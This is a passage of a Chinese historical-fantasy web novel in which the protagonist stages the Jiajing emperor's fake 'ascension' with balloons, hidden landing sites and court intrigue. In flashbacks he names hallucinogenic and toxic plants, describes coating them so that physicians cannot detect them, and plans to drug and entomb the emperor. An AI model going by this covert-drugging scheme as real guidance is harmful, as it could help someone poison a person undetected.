登仙台的一幕幕在脑中飞速闪过,最终定格在三年前——飞升丹开始炼制的那段日子。
有些事,他必须再想清楚。
(回忆:嘉靖九年夏,崂山太清宫)
崂山靠海,云雾常年不散。
太清宫藏在半山腰的松林里,青瓦黄墙,钟声悠远。
这里被嘉靖钦定为“飞升丹”炼制之地,原因很简单——传说这里是邱处机炼丹成仙的地方。
鹤岑老道穿着崭新的紫色法衣,站在丹房前。
丹房是新建的,花岗岩砌墙,铁木做梁,窗户都用厚棉纸糊死,只留几个透气孔。
门外站着八个锦衣卫,腰佩绣春刀,目不斜视。
“国师,”苏惟瑾从山道走来,身后跟着两个挑夫,担子里是密封的陶罐,“第一批原料送到了。”
鹤岑点头,引他进丹房。
门一关,外头的声响顿时隔绝。
丹房里热得像个蒸笼。
正中是座半人高的紫铜丹炉,炉下炭火烧得正旺。
四周墙边摆满了药柜,抽屉上贴着标签:东海明珠粉、昆仑雪莲露、南海珊瑚髓、西域龙涎香……
名字一个比一个玄乎。
“公子,”鹤岑压低声音,“真要炼这‘飞升丹’?”
“炼。”苏惟瑾打开陶罐,里面是些晒干的蘑菇、草叶、根茎,看着平平无奇,“但不是炼给陛下吃的。”
他取出一朵干瘪的褐色蘑菇:“这是西南深山里的‘见手青’,含裸盖菇素,致幻。”
“这种,”又拿起几片暗红色草叶,“曼陀罗,含东莨菪碱,能让人产生漂浮感。”
“还有这个——”指了指一堆黑色根茎,“乌头,微量,配合前两种,能增强欣快感。”
鹤岑虽是道士,也懂药理,闻言皱眉:“这些东西……过量会**的。”
“所以需要‘包装’。”苏惟瑾从怀里掏出个小瓷瓶,“这是我提纯的‘灵芝多糖’和‘人参皂苷’,混进去能护肝解毒,减轻副作用。”
“最重要的是——”
他走到丹炉旁,取出一包白色粉末:“碳酸钙,磨碎的贝壳粉。”
“用它包裹致幻成分,再用蜜蜡封层。”
“普通的水煎、火炼,根本破坏不了外层。”
“只有服下后,胃酸慢慢溶解,药效才会缓慢释放。”
鹤岑恍然大悟:“这样检测时……”
“检测时,刮点粉末下来,只能验出碳酸钙和蜜蜡,还有那些‘珍稀草药’的幌子。”苏惟瑾冷笑,“至于致幻成分——它们被包裹在内核,不溶解就验不出。”
“严世蕃就算找一百个名医来,也查不出端倪。”
两人开始操作。
鹤岑负责“表演”——穿着法衣,焚香念咒,往丹炉里扔那些名贵幌子。
苏惟瑾则在密室处理真正的核心原料,用特制的石臼研磨,按精确比例混合,再用碳酸钙包裹成微小的颗粒。
这个过程持续了整整三个月。
丹成那日,鹤岑开炉,取出十二粒龙眼大的金色丹丸,异香扑鼻。
他当着锦衣卫的面,将丹药装入玉瓶,用火漆封口,贴上“飞升丹·甲子号”的封条。
消息传回京城,嘉靖大喜,赏赐如流水般送到崂山。
(回忆:嘉靖十年春,严府密室)
严世蕃盯着桌上那粒暗红色的丹药残渣,脸色阴沉。
这是他从太清宫一个叫道童清风的小子手里买来的。
花了五百两银子,还许诺将来给他个“道录司”的官职。
“李太医,看仔细了。”严世蕃对旁边一个白胡子老头道,“这丹药……到底有什么名堂?”
李太医是京城有名的药检高手,祖上三代都是太医院的院判。
他拿着小银刀,刮下些粉末,放在鼻尖嗅,又用舌尖舔了舔,最后取出一套瓷碗、药杵、还有七八种试药——这是太医们验毒的常规手段。
半个时辰后,李太医擦了擦汗:“严公子,这丹药……老朽反复查验,主要成分是珍珠粉、雪莲、珊瑚髓等滋补之物,另有些安神助眠的草药。”
“并无毒性,也无异常。”
“你确定?”严世蕃眯起眼,“苏惟瑾那厮,会这么老实?”
“老朽行医五十年,这丹药若有问题,绝逃不过我的眼。”李太医自信道,“不过……”
“不过什么?”
“不过这丹药的炼制手法,确实古怪。”李太医拿起残渣,“外层坚硬,内里绵软,像是……包裹结构。”
“但具体包裹了什么,就不得而知了。”
严世蕃沉思。
包裹结构?
难道真有什么猫腻藏在里面?
他让李太医先回去,自己对着那残渣发愣。
父亲严嵩说过,苏惟瑾此人行事,从来都是走一步看三步。
这飞升丹若真没问题,反倒最可疑。
“来人。”他唤来心腹,“去查查太清宫那个清风,最近还和什么人有接触。”
“还有,崂山附近有没有什么异常动静。”
(回忆:嘉靖十年秋,西苑澄心堂)
“飞升丹已成,登仙台将竣。”苏惟瑾跪在嘉靖面前,神色恭谨,“陛下,臣还有一议——飞升乃千古盛事,需有宗室见证,以续国统。”
嘉靖正把玩着一枚新制的“仙玉髓”,闻言抬头:“爱卿何意?”
“昔黄帝乘龙升天,有玄孙颛顼继位;周穆王驾八骏西游,亦传位于子。”苏惟瑾缓缓道,“陛下飞升后,仙界为尊,凡间帝位……当早定嗣君,以安天下。”
这话戳中了嘉靖的心病。
他修仙是为了长生,可万一真飞升了(他对此深信不疑),这皇位传给谁?
两个儿子都夭折了,如今膝下无子。
“爱卿以为……该立谁?”
“兴王之子朱载重,年方六岁,聪慧仁孝。”苏惟瑾道,“陛下可过继为子,立为太子。”
“待陛下飞升后,太子继位,陛下在仙界亦可庇佑大明江山。”
这话说得漂亮。
嘉靖心动了——飞升后成仙,凡间皇位本就无所谓了。
过继个孩子,既能延续香火,又能显示自己“无私”。
三日后,圣旨下:立兴王之子朱载重为太子,接入宫中抚养。
消息传出,朝野震动。
严嵩连夜进宫,劝嘉靖三思。
可嘉靖心意已决,反怪严嵩“阻碍朕成仙大道”。
严嵩碰了一鼻子灰,回府后对严世蕃叹道:“苏惟瑾此计……太毒。”
“立了太子,就等于断了咱们扶植其他宗室的路。”
“将来陛下若真‘飞升’了,这江山就是太子的——而太子是苏惟瑾提议立的,自然亲他。”
严世蕃咬牙:“那就不能让陛下真飞升!”
“你有办法?”
“飞升丹……”严世蕃眼中闪过凶光,“那丹药绝对有问题。”
“只要找到证据,就能扳倒苏惟瑾!”
(回忆结束,拉回现实时间线——嘉靖十三年三月初八夜)
登仙台内,**声越来越近。
苏惟瑾睁开眼,从回忆中抽离。
飞升丹、立太子、严世蕃的怀疑……这些往事在脑中串联,让他忽然明白了一件事。
“鲁师傅,”他猛地起身,“**替换信标,篡改机关,是为了让陛下明天必死。”
“可他们怎么确保陛下一定会吃飞升丹?”
“又怎么确保飞升丹一定会起作用?”
鲁师傅一愣:“这……”
“除非……”苏惟瑾眼中寒光一闪,“他们手里,有飞升丹的替代品!”
“或者……他们能控制陛下服丹后的反应!”
他想起了崂山那个道童清风。
三年前严世蕃收买他偷丹药残渣,难道
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只是个开始?
清风后来怎么样了?
是死是活?
“公子!”胡三浑身是血冲进来,“顶不住了!那些黑衣人扔的铁球,炸开后有毒烟!”
“咱们的兄弟倒了一片!”
苏惟瑾冲到窥孔前。
只见台外空地上,虎贲营士兵死伤惨重,剩下的退守到台基石阶后。
黑衣人中,有几个人正抬着根粗铁管,对准台门。
那铁管后头连着皮囊,一人用力挤压皮囊,铁管口喷出浓稠的黑油,溅在石门和沙袋上。
另一人点燃火把,扔了过去。
“轰!”
火焰冲天而起,石门烧得通红。
“是猛火油!”胡三嘶吼,“石门撑不了多久!”
苏惟瑾脑中飞速计算。
敌人有备而来,装备精良,硬拼必败。
必须出奇招。
“胡三,带所有人退到台心!”
“鲁师傅,启动‘展示版’机关!”
“公子,展示版的滑轮组承重不够,万一……”
“听我的!”苏惟瑾冲到控制台前,双手飞快拨动机括,“他们不是想炸台吗?让他们炸!”
齿轮转动,绳索绷紧。
登仙台内部传来低沉的轰鸣声。
台顶的“仙撵”缓缓降下,停在台心位置。
“所有人,上仙撵!”苏惟瑾吼道。
胡三、鲁师傅和剩下的三十多人,挤上那架华丽的鎏金撵车。
撵车不大,挤得满满当当。
苏惟瑾最后一个跳上去,拉动控制杆。
绞盘转动,撵车缓缓上升。
几乎同时,台外的黑衣人炸开了石门。
火焰和浓烟涌入台内,但撵车已经升到三丈高,脱离了火焰范围。
“他们上去了!”黑衣人中有人喊,“追!”
几个黑衣人想攀着绳索往上爬,可撵车越升越快,转眼到了台顶。
台顶是个八角平台,正中就是那个三尺宽的“接引天光”圆洞。
此刻夜空无星月,洞外漆黑一片。
“公子,现在怎么办?”胡三看着下方追来的黑衣人,“咱们被困在这儿了!”
苏惟瑾没说话,走到平台边缘,掀开一块石板。
石板下是个暗格,里面静静躺着三枚真正的信标。
他拿起一枚,贴在特制的罗盘上。
指针颤抖着,指向台内某个方向。
“找到了。”苏惟瑾冷笑,“**换了所有外围信标,但台顶这个暗格里的……他来不及换。”
他转动信标,罗盘指针跟着转动,最终定格在台心正下方——那里是升降机关的核心机括所在。
“鲁师傅,”苏惟瑾递过罗盘,“按这个方位和角度,能推算出生死锁的破解位置吗?”
鲁师傅接过,手抖得厉害:“我……我试试!”
下方,黑衣人已经爬上平台,刀光映着火。
胡三拔刀挡在前面:“公子快走!”
“走?”苏惟瑾忽然笑了,“为什么要走?”
他从怀中掏出个小竹筒,拔掉塞子,往圆洞里一扔。
竹筒落地,炸开一团绿色烟雾。
烟雾迅速弥漫,带着刺鼻的气味。
“毒烟!”黑衣人中有人惊呼。
可已经晚了。
绿色烟雾笼罩了整个台顶平台,胡三等人早有准备,用湿布捂住口鼻。
黑衣人猝不及防,吸入烟雾后,一个个软倒在地。
“曼陀罗提取物,混合了少量**。”苏惟瑾踩着昏迷的黑衣人,走到平台边缘,“见效快,剂量控制得好,死不了人。”
他俯视着下方还在涌入的黑衣人,提高声音:“告诉**,登仙台是我的地盘。”
“他想在这儿玩机关,还嫩了点。”
话音刚落,台内突然传来“咔嚓”一声巨响。
鲁师傅满头大汗:“公子……生死锁,开了!”
升降机关的绞盘重新转动,撵车开始缓缓下降。
而此刻,东方天际,已泛起一丝鱼肚白。
三月初九,到了。
登仙台危机暂解,但天色已亮,距离嘉靖皇帝前来观礼只剩不到两个时辰!
苏惟瑾虽破解了生死锁,可台内机关是否还有其他隐藏陷阱?
更致命的是,崂山那个道童清风的下落突然有了线索——胡三在昏迷的黑衣人身上搜出一枚腰牌,正面刻着“太清”,背面有个模糊的“清”字!
难道清风没死,反而投靠了严世蕃和**?
若真如此,飞升丹的秘密是否已经泄露?
而此刻刘公岛方向突然升起三支红色火箭——那是周大山发出的最高紧急信号,意味着那边战况极度危急!
双线战场同时告急,苏惟瑾必须做出抉择:是留在登仙台确保皇帝安全,还是驰援刘公岛?
而这场围绕“飞升”的阴谋,似乎才刚刚揭开第一层帷幕……
第403章 瑾定飞升路,西山埋终局
三月初九,寅时三刻。
登仙台顶的八角平台上,绿烟已经散尽。
十三个黑衣人横七竖八躺在地上,口吐白沫,昏迷不醒。
胡三带人挨个捆了,卸掉兵器,搜遍全身。
“公子,这些人身上干净得很。”胡三拿着一堆零碎过来,“除了兵器和那喷火管子,就这些腰牌——都是太清宫的。”
苏惟瑾接过腰牌。
黄杨木刻的,正面“太清”二字,背面是个“清”字。
刻痕很新,边缘都没磨圆,显然是赶工做出来的。
“清风……”他喃喃道。
三年前那个偷丹药残渣的小道童,果然没死,还成了**的人。
鲁师傅还在摆弄罗盘,满头大汗地计算方位。
升降机关的生死锁虽然开了,但整个系统需要重新校准。
台外的虎贲营士兵正在清理战场,清**罐、修补被炸坏的台基。
东方天际,那一丝鱼肚白正在扩散。
“公子,”胡三压低声音,“天快亮了。”
“按惯例,陛下辰时三刻就会起驾来西山。”
“现在台子这样……还来得及吗?”
苏惟瑾没回答,走到平台边缘,望向西边连绵的山峦。
晨雾在谷间流淌,像一条条白龙。
超频大脑瞬间调出这一带的地理数据:海拔、风向、气流、植被分布……
一个完整的计划在脑中飞速成型。
他转身:“来得及。”
“但不是原来的计划了。”
(回忆:嘉靖十一年春,西山某处山谷)
这片山谷没有名字,本地人叫它“鬼见愁”。
三面环山,只有一条隐秘的小道能进来。
谷底平坦,长满半人高的野草,中央有片天然的石台,平坦如镜。
苏惟瑾和周大山站在石台上,四周是三十个精挑细选的汉子。
这些人都是虎贲营的老兵,参加过东南平倭,忠诚可靠,且个个有绝活——有的擅长攀岩,有的精通伪装,有的会训鹰隼。
“就是这里。”苏惟瑾展开地图,“登仙台在东边三十里,海拔低一百二十丈。”
“三月初九,通常刮西北风,风速适中。”
“热气球升空后,借风向东飘移,正好落到这个山谷。”
周大山挠头:“公子,可这风向……万一变了呢?”
“所以要做气象观测。”苏惟瑾指着谷口,“在这里立三根测风旗,每天记录风向风速。”
“另外,让胡三训练的信鸽也放这儿,随时传递消息。”
他蹲下身,在石台上画了个圈:“这里,要建个‘接仙台’——不用太高,三丈足矣。”
“外表做成天然岩石模样,内部掏空,设软垫、机关、逃生通道。”
“陛下的仙撵落地时,要有缓冲,不能摔着。”
“那陛下落地后……”周大山做了个抹脖子的手势。
“不。”苏惟瑾摇头,“让他‘飞升’。”
他详细解释计划:嘉靖服下飞升丹后,会产生强烈的腾云驾雾幻觉。
届时乘坐仙撵升空,热气球借风飘到山谷,平稳降落。
落地后,早已等候的“飞升卫队”立即上前,以“恭送陛下飞升仙界”为名,将昏迷的嘉靖转移到早已备好的“闭关洞天”——实为一座精心改造的陵墓。
“那里有食物、清水、丹药,够他活三个月。”苏惟瑾声音平静,“三个月后,对外宣布陛下‘闭关圆满,羽化登仙’。”
“然后……永远封存。”
周大山倒吸一口凉气:“那要是陛下中途醒了呢?”
“加强迷烟。”苏惟瑾从怀中取出个小瓷瓶,“这是飞升丹的浓缩版,溶于水,无色无味。”
“仙撵上有暗格,落地前释放。”
“加上飞升丹的致幻效果还在,他分不清现实梦境。”
“万一暴露了?”
“有B计划。”苏惟瑾指向山谷北侧的悬崖,“在那里布置一处‘坠毁现场’。”
“若有人意外闯入,或风向突变导致偏离路线,就启动备用方案——伪造热气球失控坠崖。”
“届时陛下‘尸骨无存’,飞升成谜,咱们照样能掌控局面。”
接下来三个月,山谷里热火朝天。
三十人的飞升卫队分成三组:一组负责修建接仙台和闭关洞天;一组负责气象观测和路径模拟;还有一组,由周大山亲自训练山地作战和伪装潜伏。
接仙台建得很巧妙。
外表是天然岩石,用特殊涂料处理,远看与周围山体浑然一体。
内部却是钢筋混凝土结构,分上下两层。
上层是软着陆平台,铺了三寸厚的棉垫和弹簧网;下层是控制室和紧急通道,直通闭关洞天。
闭关洞天更隐蔽。
入口在接仙台下方十丈处,伪装成山体裂缝。
进去后是条蜿蜒的隧道,走了二十丈才到主室。
主室有通风孔通到山顶,采光靠特制的镜面反射系统——阳光从山顶的隐蔽孔洞射入,经过多面镜子折射,照亮整个房间。
食物储备足够三人吃半年:腊肉、米面、干菜、清水。
还有个小药房,备着各种草药和飞升丹的替代品。
“公子,”周大山看着完工的洞天,忍不住问,“这地方……真要用上吗?”
苏惟瑾沉默片刻:“但愿用不上。”
“但必须准备好。”
(回忆:嘉靖十二年秋,最后一次演练)
九月十五,夜。
登仙台上,热气球已经充好热气。
球囊是用特制的防火丝绸做的,涂了三层防火胶,能承受普通火焰短时间灼烧。
吊篮是竹篾编的,外裹牛皮,内衬棉垫。
三十丈长的牵引绳,另一端系在西山山谷的接仙台上。
“开始!”苏惟瑾令旗一挥。
热气球缓缓升空。
吊篮里坐着个假人,穿着嘉靖的杏黄道袍。
球囊下的火炉燃烧着精炼火油,提供持续的热力。
西北风起,气球向东飘去。
地面,周大山带着飞升卫队骑马跟随,沿途清除障碍,确保路线畅通。
三刻钟后,气球飘到山谷上空。
接仙台上的绞盘开始转动,牵引绳慢慢回收,引导气球准确降落在软着陆平台。
“成功!”周大山兴奋地挥拳。
苏惟瑾却皱眉:“太顺利了。”
“真实情况不可能这么完美。”
他召集众人:“假设几种意外:一、风向突变,气球偏离路线;二、牵引绳断裂;三、陛下中途醒来闹腾;四、有外人闯入现场。”
“每个意外,都要有应对方案。”
于是又演练了十几次。
风向突变?有备用气球——体积小一半,但更灵活,可以短距离调整方向。
牵引绳断裂?吊篮下有应急降落伞——用特制丝绸缝制,虽然简陋,但足以减缓下落速度。
嘉靖闹腾?吊篮内有暗格,藏着加强迷烟,遥控释放。
外人闯入?飞升卫队分三线布防:外线警戒,中线拦截,内线清场。
必要时刻,可以启动“坠毁现场”的机关,制造混乱。
一切准备就绪时,已是嘉靖十二年底。
苏惟瑾站在接仙台上,望着东方的登仙台方向,心中默默计算:距离计划执行,只剩三个多月。
(回忆结束,拉回现实——嘉靖十三年三月初九寅时末)
登仙台顶,天色渐亮。
鲁师傅终于校准完机关,擦了把汗:“公子,可以了。”
“但……牵引绳系统被黑衣人破坏了一部分,现在只剩主绳能用。”
“备用绳和应急降落伞,都毁了。”
苏惟瑾点头:“主绳够了。”
“接仙台那边什么情况?”
胡三刚接收完飞鸽传书:“周将军派去的人回报,接仙台一切正常。”
“但山谷外围……发现可疑脚印,不是咱们的人。”
“多少人?”
“七八个,脚印很新,不超过十二个时辰。”
苏惟瑾眼神一冷。
严世蕃和**果然做了两手准备——既要在登仙台刺杀皇帝,又要在接仙台截杀。
“告诉周大山,飞升卫队全体警戒。”
“另外……”他沉吟片刻,“启动B计
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划的前置准备。”
“公子,真要走到那一步?”
“有备无患。”苏惟瑾望向东方,那里已泛起朝霞,“陛下辰时三刻起驾,巳时初到西山。”
“咱们还有一个半时辰。”
他走下平台,来到台内控制室。
这里原本是“展示版”机关的控制中枢,现在被他改造成临时指挥所。
墙上挂着西山地区的大幅地图,上面用朱笔画着飞行路线、备用路线、应急降落点。
桌上是各种仪表:风向标、温度计、气压计,还有特制的沙漏计时器。
“胡三,你带五十人,现在出发去接仙台。”苏惟瑾在地图上一点,“走这条小路,避开主道。”
“到了之后,和周大山会合,彻底清查山谷每一寸地方。”
“是!”
“惟奇,你留在这里,负责登仙台的机关控制。”
“记住——”苏惟瑾盯着他,“陛下的仙撵升空后,你立刻切断所有外部连接。”
“这座台子……可能要废了。”
苏惟奇脸色一白:“公子,这可是咱们三年心血……”
“心血可以再费,命只有一条。”苏惟瑾拍拍他肩膀,“等这事了了,咱们建个更好的。”
一切安排妥当,苏惟瑾独自走出登仙台。
晨光中,这座九丈九尺的高台巍然矗立,飞檐上的铜铃在晨风中叮当作响。
远处太液池水波粼粼,西苑的宫殿在朝霞中泛着金光。
多美的景色。
可惜,今天过后,这一切都可能改变。
他想起三年前,自己站在这里,对嘉靖说“此台建成,必是千古奇观”。
那时他想的只是操控皇帝,稳固权力。
可如今,这座台子成了生死棋局的关键,成了他和严世蕃、**较量的战场。
更讽刺的是,这战场是他亲手建的。
“公子,”一个士兵跑来,“宫里来人了!”
苏惟瑾转头,见山道上疾驰来几匹马。
为首的是司礼监太监曹德,他脸色煞白,手里攥着卷黄帛。
“伯爷!”曹德滚鞍下马,声音发颤,“陛下……陛下改了行程!”
“要提前一个时辰来西山!”
“什么?”苏惟瑾心头一紧,“为何?”
“说是……昨夜梦见金龙催促,要赶在巳时三刻前登台,否则错过吉时。”曹德哭丧着脸,“圣驾已经出了西苑,最多半个时辰就到!”
半个时辰!
苏惟瑾深吸一口气。
飞升卫队刚出发,接仙台还没清查完毕,登仙台的机关只校准了七八成……
“曹公公,”他稳住心神,“按原计划准备迎接。”
“另外,派人去西山各路口设岗,就说‘为陛下飞升清道’,闲杂人等一律不得靠近。”
“是!”
曹德匆匆离去。
苏惟瑾转身冲回登仙台,对苏惟奇吼道:“加快进度!”
“所有机关,两刻钟内必须就位!”
他登上台顶,望向西方山谷方向。
晨雾中,那座隐秘的接仙台隐约可见。
突然,他瞳孔骤缩。
接仙台上空,升起了一缕青烟——不是炊烟,是信号烟!
那是飞升卫队约定的紧急信号:绿色代表安全,黄色代表警戒,红色代表危险。
而现在升起的,是黑色。
黑色代表——陷阱已启动,勿近!
接仙台升起黑色信号烟,意味着山谷中的终极着陆场已沦为死亡陷阱!
而嘉靖皇帝圣驾提前出发,半个时辰后就将抵达登仙台!
苏惟瑾此刻面临绝境:登仙台机关未完全就绪,接仙台已确认被敌人控制,飞升卫队生死不明,原本精密设计的飞升路线全面崩溃!
更致命的是,他猛然想起——黑色信号烟还有一层含义:表示陷阱是由“自己人”启动的!
难道飞升卫队三十人中出了叛徒?
或是周大山已遭不测?
距离皇帝驾临只剩最后半个时辰,苏惟瑾手中还有多少底牌可用?
这场围绕“飞升”的终极博弈,突然变成了与时间赛跑的生死时速!
第404章 吉日定嘉靖,九年黄道时
三月初九的晨光刺破西山雾气时,登仙台顶的黑色信号烟还未散尽。
苏惟瑾盯着那缕直冲天际的黑烟,胡三刚包扎好的伤口又渗出血来。
“黑色……”他声音发涩,“接仙台沦陷,飞升卫队有叛徒。”
话音未落,山道尽头传来净鞭声响——嘉靖皇帝的仪仗,竟比曹德通报的又提前了半个时辰!
“公子,怎么办?”
苏惟奇脸色惨白。
苏惟瑾闭上眼,超频大脑在绝境中疯狂运转。
登仙台机关未就绪,接仙台已成陷阱,飞升路线全面崩溃……但四年前那个秋日,一切明明都安排得天衣无缝。
记忆如潮水倒卷。
嘉靖九年秋,九月十八
钦天监的观星台上,监正徐光启抖着白胡子,将一本厚厚的星历奉到御前:“陛下,臣等夜观天象,推演三年,得一日——来年三月初三,寅正三刻,紫微星明,黄道吉位,百年一遇的‘飞升日’啊!”
嘉靖裹着杏黄道袍,手指在星历上摩挲:“百年一遇?”
“千真万确!”
徐光启跪倒,“此日吉气相绕,天地交泰。昔黄帝乘龙,尧舜禅让,皆择此类吉时。陛下若于此日飞升,必能直登九天,位列仙班!”
西苑澄心堂里,檀香袅袅。
嘉靖盯着那份星历,眼中燃起的光芒比丹炉火还旺。
他修仙十六载,服丹无数,建坛遍地,等的就是这一天!
“传旨——”嘉靖声音发颤,“明年三月初三,举行飞升大典!朕要……朕要成仙了!”
圣旨当日下午就颁行天下。
诏书用明黄锦缎誊抄,八百里加急发往各布政使司。
内容石破天惊:
“奉天承运皇帝,诏曰:朕承天命,御极二十载,夙夜修行,参悟大道。今**,感天应人,择嘉靖十年三月初三吉日,飞升仙界,永享长生。太子朱载重仁孝聪慧,即皇帝位,改元‘道历’。文武百官,天下万民,当共庆盛典,恭送朕躬登仙……”
“飞升”二字,像块巨石砸进太液池。
京城茶馆里,说书先生醒木都拍裂了:“列位!千古奇闻啊!咱们万岁爷要成仙了!”
茶客们炸了锅。
“真能飞升?”
“孔圣人都说了,陛下修行合天道!”
“那可是衍圣公亲笔作序的《圣主修仙录》里写的!”
但也有老秀才摇头:“荒唐……荒唐啊……”
街头巷尾,百姓反应更直接。
卖炊饼的王老汉边揉面边对婆娘说:“娃他娘,赶明儿去西山看看?万一能沾点仙气呢?”
城南土地庙前,几个妇人烧香嘀咕:“陛下成仙了,是不是就能保佑咱家小子中秀才?”
“那可不!神仙皇帝,灵验着呢!”
而在官员圈子里,暗流汹涌。
户部衙门的值房里,几个主事关上门。
“李兄,这事……你信吗?”
“信不信重要吗?诏书都下了,太子都定了。”
“太子才七岁啊……这朝局……”
“少说两句吧。没看严阁老这几日脸都是青的?”
严府书房,青花瓷瓶碎了一地。
“飞升?他苏惟瑾真当天下人是傻子!”
严世蕃一脚踹翻椅子,“父亲,这分明是弑君篡国的惊天阴谋!”
严嵩坐在太师椅上,脸色阴沉得能滴出水。
他手里攥着那份诏书,指节发白。
“证据呢?”老狐狸缓缓开口,“陛下深信不疑,孔府全力背书,钦天监言之凿凿,连太子都定了……你有什么证据说这是阴谋?”
“那登仙台!那飞升丹!”严世蕃吼道,“苏惟瑾这三年在西山搞的那些鬼名堂,哪一样正常?”
“那都是‘祥瑞’,是‘仙家机关’。”严嵩冷笑,“陛下亲眼看过热气球升天,亲手摸过干冰仙雾,连邵元节都说‘此乃真仙术’——你去揭穿?你拿什么揭穿?”
严世蕃语塞。
“去联络成国公、武安侯。”严嵩起身,“还有都察院那几个老顽固。三月初三大典当日……我们‘见机行事’。”
“父亲的意思是?”
“若陛下真飞升了,”严嵩眼中寒光一闪,“那便恭送。若飞不成……”
他没说下去。
严世蕃懂了。
同一时刻,靖海伯府后园。
苏惟瑾正在凉亭里下棋,对手是专程从曲阜赶来的孔闻韶。
棋盘旁摆着新刊印的《圣主修仙录》,墨香混着茶香。
“公爷此书,可谓定鼎之作。”苏惟瑾落下一子,“天下读书人,今后谁敢质疑陛下修仙,便是质疑圣教。”
孔闻韶捻须微笑:“全赖伯爷指点。只是……严嵩那边,恐不会善罢甘休。”
“他当然不会。”苏惟瑾又落一子,“所以还得请公爷再放句话。”
“什么话?”
“就说——”苏惟瑾抬头,眼神如刀,“陛下飞升,乃儒家千年盛事,凡有异议者,即为悖逆圣教,当逐出儒门,永世不得科举。”
孔闻韶手一抖,棋子掉在棋盘上。
这话太狠了。
逐出儒门,永不得科举——对读书人而言,比杀头还可怕。
“伯爷,这是不是……”
“非常之时,当用非常之策。”苏惟瑾端起茶盏,“严嵩联络了一批勋贵言官,准备在大典上发难。咱们得先把路堵死。”
三日后,这句话从曲阜传出,如野火燎原。
国子监祭酒当即表态:“孔公所言极是!陛下飞升,实乃儒道合流之盛世!”
各地书院山长纷纷响应,痛斥“质疑飞升者,乃小人儒也”。
都察院几个准备上疏劝谏的御史,默默把奏章烧了——前途和名声,他们赌不起。
腊月廿三,小年。
西山登仙台工地上,鲁师傅领着工匠做最后调试。
热气球完成第七次载重试验,干冰储存罐埋入台基,镜片阵列校准完毕。
苏惟瑾站在九丈九尺的台顶,望向西边山谷。
那里,接仙台已伪装成天然石台,飞升卫队完成第十七次演练。
周大山气喘吁吁爬上来:“公子,都妥了。只是……”
“说。”
“山谷北侧那个‘坠毁现场’,真要准备吗?”周大山压低声音,“万一真用上……”
“备着。”苏惟瑾淡淡道,“谋事在人,成事在天。咱们得给天留点余地。”
他走下高台时,夕阳正把西山染成血色。
嘉靖九年就这样在暗流中走向尾声。
京城表面张灯结彩,准备迎接“飞升盛典”;底下却刀光剑影,严党串联,勋贵密会,连宫里几个不得志的太监都被重金收买。
苏惟瑾知道一切,却稳坐钓鱼台。
腊月廿八,他进宫面圣。
嘉靖正在试穿飞升大典的礼服——杏黄道袍绣满云纹,头戴莲花金冠,腰系五色丝绦。
“爱卿看朕这身如何?”嘉靖在铜镜前转身。
“陛下神采,宛如真仙临凡。”苏惟瑾躬身,“只是臣有一请。”
“讲。”
“大典当日,请陛下莫带太多侍卫。仙路洁净,俗人太
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多,恐冲撞祥瑞。”
嘉靖大笑:“准!就依爱卿!”
退出西苑时,苏惟瑾在宫道上遇见严嵩。
老狐狸皮笑肉不笑:“伯爷辛苦,飞升大典全赖伯爷操持。”
“分内之事。”苏惟瑾微笑,“严阁老届时可要亲临观礼?”
“自然要的。”严嵩盯着他,“如此千古盛事,老夫岂能错过。”
两人擦肩而过,各怀鬼胎。
记忆的潮水退去,现实的血腥涌来。
三月初九的晨光中,嘉靖的仪仗已到山脚。
龙旗招展,净鞭声声。
“公子!”胡三冲上来,“刚截获信鸽——刘公岛那边,周将军重伤!**那艘船……提前下水了!”
苏惟瑾瞳孔骤缩。
**、严世蕃、接仙台黑色信号烟、刘公岛新船……这一切不是孤立阴谋,而是一张同时收网的大网!
“惟奇,”他声音冷得像冰,“启动登仙台‘展示版’全部机关。”
“胡三,发信号——让西山所有暗桩,按‘坠毁计划’预备。”
“那陛下……”
“陛下会按原计划登台。”苏惟瑾望向山道,“但飞升路线……要改了。”
他快步走下台基,脑中超频运转到极致。
原计划是借西北风飘向接仙台,现在接仙台沦陷,风向……今日是东南风!
东南风会飘向哪里?
超频大脑调出西山地理数据,瞬间计算出一条新路径:东南风,初速三级,热气球升空后向西北飘移,降落点将是……长城外的荒野!
那里没有接仙台,没有飞升卫队,只有莽莽群山。
嘉靖若落在那里,必死无疑。
“公子,”苏惟奇脸色惨白,“新路线……陛下会摔死的!”
“我知道。”苏惟瑾闭上眼睛。
再睁开时,眼中只剩决绝。
“所以我们需要一阵‘神风’。”
他转身,望向紫禁城方向。
那里,钦天监的观星台高高矗立。
四年前,徐光启说“三月初三乃百年一遇飞升日”。
可今天,是三月初九。
一个普通的、不该飞升的日子。
“传信给徐光启,”苏惟瑾一字一句,“让他现在进宫,告诉陛下——吉时提前了。”
“今日辰时三刻,就是飞升之时。”
“可天象……”
“让他编。”苏惟瑾冷笑,“就说紫微星昨夜突然异动,吉时提前三日。若不说……他全家性命,就留到三日后吧。”
胡三倒吸一口凉气。
这是要逼钦天监**,逼皇帝提前飞升,在绝境中硬生生劈出一条生路!
山道上,净鞭声越来越近。
嘉靖的御辇已到登仙台下。
苏惟瑾整理衣冠,迎向那片明黄色仪仗。
晨光中,登仙台巍峨耸立,铜铃在东南风中叮当乱响。
而那缕黑色信号烟,还在西边山谷上空,固执地飘着。
飞升吉时被苏惟瑾强行提前三日,嘉靖皇帝已至台下。
但东南风会将热气球吹往长城荒原,若无“神风”改向,皇帝必死。
更致命的是,接仙台升起黑色信号烟后,西山各处突然同时升起五色狼烟——这是飞升卫队最高警戒信号,意味着至少有五股敌人已潜入西山!
而紫禁城方向,一匹快马正疯驰而来,马上骑士高举金漆令牌,嘶声大喊:“八百里加急!刘公岛水师……叛变了!”
三线危机同时引爆,苏惟瑾手中还有最后一张牌——那阵能改天换命的“神风”,究竟藏在何处?
第405章 万众瞩目时,嘉靖“登仙”去
西山脚下,黄罗伞盖连成一片。
嘉靖皇帝的仪仗到了。
三月初九的清晨,露水还没散尽,西山官道两侧已经跪满了大小官员。
从内阁大学士到六部主事,从勋贵公侯到锦衣卫千户,黑压压一片,鸦雀无声。
所有人都盯着那条从官道直通登仙台的青石台阶。
台阶共九十九级,取“九九归一”之意。
此刻台阶两侧立着金甲卫士,一个个手持长戟,面无表情。
登仙台高九丈九尺,通体用汉白玉砌成,在晨光中泛着温润的光。
台顶那座巨大的“飞升宝阁”已经升起杏黄色帷幕,隐约可见里面复杂的机械结构。
“陛下驾到——”
净鞭三响,钟鼓齐鸣。
十六名太监抬着御辇缓缓停下。
辇上,嘉靖皇帝一身杏黄道袍,头戴莲花金冠,腰系五色丝绦,手里还攥着一柄白玉拂尘。
